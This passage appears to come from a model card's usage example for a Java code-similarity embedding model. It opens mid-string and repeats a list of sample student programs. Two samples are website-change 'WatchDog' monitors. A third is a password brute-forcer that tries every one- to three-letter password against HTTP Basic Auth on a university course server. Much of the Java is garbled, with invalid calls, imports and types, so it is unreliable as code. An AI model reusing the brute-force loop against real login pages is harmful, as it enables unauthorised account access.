BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  